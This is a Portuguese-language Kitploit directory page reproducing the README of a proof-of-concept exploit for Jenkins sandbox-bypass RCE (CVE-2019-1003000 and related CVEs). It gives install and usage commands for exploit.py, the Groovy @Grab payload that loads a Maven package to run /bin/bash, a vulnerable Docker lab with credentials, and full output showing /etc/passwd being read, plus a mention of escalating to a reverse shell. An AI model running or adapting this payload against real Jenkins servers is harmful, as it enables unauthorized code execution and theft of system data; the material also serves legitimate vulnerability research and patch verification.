Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2019-1003000-jenkins-rce-poc — Jenkins RCE Prova de Conceito: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative) | Kitploit
Ferramentas/GitHubGitHub/adamyordan/cve-2019-1003000-jenkins-rce-poc
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubadamyordan/cve-2019-1003000-jenkins-rce-poc

cve-2019-1003000-jenkins-rce-poc

Jenkins RCE Prova de Conceito: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)

Ver RepositórioSite
3168713há 7 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PoC: RCE no Jenkins

SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)

Uma prova de conceito para permitir que usuários com permissão Overall/Read e Job/Configure (e opcional Job/Build) contornem a proteção do sandbox e executem código arbitrário no mestre ou nó do Jenkins.

Update: Um artigo de Orange Tsai explicando a cadeia de exploração utilizando CVE-2018-1000861 e CVE-2019-1003000 que contorna a necessidade da permissão Overall/Read para um RCE sem autenticação: http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html

Installation

$ git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git
$ cd cve-2019-1003000-jenkins-rce-poc
$ pip install -r requirements.txt

Usage

Passe a url alvo, nome do job, credencial de usuário/senha e comando do sistema a ser executado, como argumentos.

$ python exploit.py --url http://jenkins-site.com --job job_name --username your_user --password your_passwd --cmd "cat /etc/passwd"

Explanation

Citado do Red Hat Bugzilla - Bug 1667566:

Foi encontrada uma falha no Pipeline: Declarative Plugin anterior à versão 1.3.4.1, Pipeline: Groovy Plugin anterior à versão 2.61.1 e Script Security Plugin anterior à versão 1.50. A proteção do sandbox do Script Security poderia ser contornada durante a fase de compilação do script aplicando anotações de transformação AST, como @Grab, a elementos do código fonte. Tanto as APIs REST de validação do pipeline quanto a execução real de scripts/pipelines são afetadas. Isso permitia que usuários com permissão Overall/Read, ou capazes de controlar o Jenkinsfile ou conteúdo de bibliotecas compartilhadas de pipeline em SCM, contornassem a proteção do sandbox e executassem código arbitrário no mestre ou nó do Jenkins. Todas as transformações AST inseguras conhecidas no Groovy agora são proibidas em scripts no sandbox.

Este PoC está usando um usuário com permissão Overall/Read e Job/Configure para executar um script de build maliciosamente modificado no modo sandbox, e tenta contornar a limitação do modo sandbox para executar scripts arbitrários (neste caso, executaremos um comando do sistema).

Como contexto, o script de build do pipeline do Jenkins é escrito em Groovy. Este script de build será compilado e executado no mestre ou nó do Jenkins, contendo a definição do pipeline, por exemplo, o que fazer nos nós escravos. O Jenkins também fornece o script para ser executado no modo sandbox. No modo sandbox, todas as funções perigosas são bloqueadas, então um usuário comum não pode fazer nada malicioso ao servidor Jenkins.

No entanto, como o script de build é escrito em Groovy, podemos usar qualquer classe ou função em pacotes Java (No entanto, no modo sandbox, as perigosas embutidas são bloqueadas). Neste caso, estamos usando anotações de transformação AST @Grab para fazer o Jenkins importar pacotes Java arbitrários de repositório Maven externo. Neste PoC, uso a classe ProcBuilder definida em org.buildobjects:jproc:2.2.3 para executar um comando de shell do sistema.

O payload é definido abaixo:

import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }
print new ProcBuilder("/bin/bash").withArgs("-c","cat /etc/passwd").run().getOutputString()

O script acima será compilado e executado no mestre ou nó do Jenkins. Após a conclusão da execução do job, podemos ver o resultado do comando shell cat /etc/passwd no console de saída do job. Além disso, podemos utilizar este RCE para obter um reverse shell e literalmente pwn o servidor Jenkins!

Example Vulnerable Site

Um exemplo de Jenkins vulnerável é fornecido neste repositório no diretório sample-vuln em formato de contêiner Docker. Após a inicialização, a imagem do contêiner terá um site Jenkins hospedado na porta tcp/8080, com um usuário comum com permissão Overall/Read + Job/Configure + Job/Build com credencial user1:user1, e um job de pipeline com id my-pipeline.

$ cd sample-vuln
$ ./run.sh


$ cd ..
$ python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"

[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY
[Pipeline] echo
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
jenkins:x:1000:1000:Linux User,,,:/var/jenkins_home:/bin/bash

[Pipeline] End of Pipeline
Finished: SUCCESS

Reference

  • Comunicado de Segurança do Jenkins 2019-01-08
  • Correção upstream do Jenkins
  • Red Hat Bugzilla - Bug 1667566
  • Jenkins Script Security Plugin
Baixar ferramenta